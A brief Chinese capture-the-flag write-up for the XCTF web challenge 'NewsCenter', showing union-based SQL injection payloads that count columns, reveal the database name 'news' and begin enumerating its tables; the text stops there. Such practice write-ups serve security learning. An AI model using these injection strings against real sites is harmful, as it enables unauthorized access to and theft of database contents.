攻防世界 web進階 NewsCenter

看到這道題沒什麼頭緒，掃完之後沒有什麼有用的信息 只有一個輸入，試試sql 首先判斷列，1’ order by 3# 有3列 首先去爆庫 1’ union select 1,2,database()# 庫是news,繼續爆表 1’ union select 1,2,table_name from information_schema.tables where table_schema=‘news’

>>阅读原文<<